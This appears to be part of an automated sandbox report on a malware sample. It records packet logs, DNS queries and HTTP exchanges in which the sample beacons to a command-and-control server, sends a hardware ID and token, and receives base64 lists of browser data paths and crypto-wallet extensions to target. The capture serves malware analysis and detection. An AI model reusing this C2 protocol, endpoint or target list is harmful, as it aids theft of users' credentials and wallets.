Dec 8, 2024 15:38:57.260907888 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.261780977 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.261830091 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.261913061 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.261967897 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.262983084 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.263031960 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.263086081 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.263133049 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.264148951 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.264272928 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.264305115 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.264345884 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.265434980 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.265486956 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.265520096 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.265562057 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.266545057 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.266596079 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.266607046 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.266644001 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.267677069 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.267719030 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.267729998 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.267759085 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.268886089 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.268949032 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.269016027 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.269083977 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.270026922 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.270082951 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.270123005 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.270165920 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.271203995 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.271251917 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.271286011 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.271332979 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.272378922 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.272427082 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.272481918 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.272528887 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.273530960 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.273576975 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.273657084 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.273701906 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.274697065 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.274763107 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.274934053 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.274977922 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.275881052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.275932074 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.275969028 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.276012897 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.277059078 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.277105093 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.277173996 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.277223110 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.278219938 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.278264999 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.278382063 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.278428078 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.279438972 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.279488087 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.279517889 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.279561996 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.280659914 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.280704975 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.280728102 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.280771017 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.281694889 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.281744957 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.412712097 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.412767887 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.412882090 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.412976027 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.413177013 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.413250923 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.413307905 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.414347887 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.414407969 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.414412975 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.414452076 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.415504932 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.415563107 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.415569067 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.415606022 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.416697979 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.416754007 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.416764021 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.416800976 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.417896032 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.417974949 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.418020964 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.419007063 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.419065952 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.419169903 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.419212103 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.420197964 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.420242071 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.420291901 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.420330048 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.421334982 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.421377897 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.421447039 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.421487093 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.422508001 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.422549009 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.422728062 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.422811031 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.423654079 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.423743010 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.423746109 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.423866987 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.424783945 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.424830914 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.424891949 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.424935102 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.425960064 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.426009893 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.426038027 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.426120996 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.427117109 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.427211046 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.427270889 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:57.427316904 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:57.428338051 CET	80	49825	185.215.113.16	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 8, 2024 15:38:16.851243019 CET	192.168.2.6	1.1.1.1	0xe843	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 8, 2024 15:38:16.851407051 CET	192.168.2.6	1.1.1.1	0xcf1e	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 8, 2024 15:38:16.988363981 CET	1.1.1.1	192.168.2.6	0xe843	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 8, 2024 15:38:16.988712072 CET	1.1.1.1	192.168.2.6	0xcf1e	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49708	185.215.113.206	80	3660	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:38:07.020878077 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 8, 2024 15:38:08.365233898 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 15:38:08.446120977 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKFIIEBKEGIEBFIJKFI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 38 33 46 37 43 30 36 46 45 46 33 34 38 39 38 38 39 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="hwid"0783F7C06FEF3489889415------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="build"stok------JKKFIIEBKEGIEBFIJKFI--
Dec 8, 2024 15:38:08.909575939 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 4d 35 59 54 42 6a 4e 44 6c 69 4d 7a 56 68 4d 6a 45 33 4e 54 51 35 4d 7a 67 33 5a 6a 41 78 59 54 4d 7a 59 7a 49 34 5a 57 4d 30 5a 54 55 7a 4e 47 55 34 4f 44 67 77 4e 7a 4a 6b 4e 6d 59 35 4e 47 5a 6a 5a 44 51 77 4e 32 4a 6a 4d 44 4e 6c 4d 6d 5a 68 59 7a 59 30 59 7a 4a 6d 5a 44 55 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDM5YTBjNDliMzVhMjE3NTQ5Mzg3ZjAxYTMzYzI4ZWM0ZTUzNGU4ODgwNzJkNmY5NGZjZDQwN2JjMDNlMmZhYzY0YzJmZDUxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 8, 2024 15:38:08.911276102 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="message"browsers------CGIDGCGIEGDGDGDGHJKK--
Dec 8, 2024 15:38:09.356689930 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 8, 2024 15:38:09.356726885 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 8, 2024 15:38:09.358434916 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="message"plugins------BKJEGDGIJECGCBGCGHDG--
Dec 8, 2024 15:38:09.803585052 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 8, 2024 15:38:09.803621054 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Dec 8, 2024 15:38:09.803718090 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
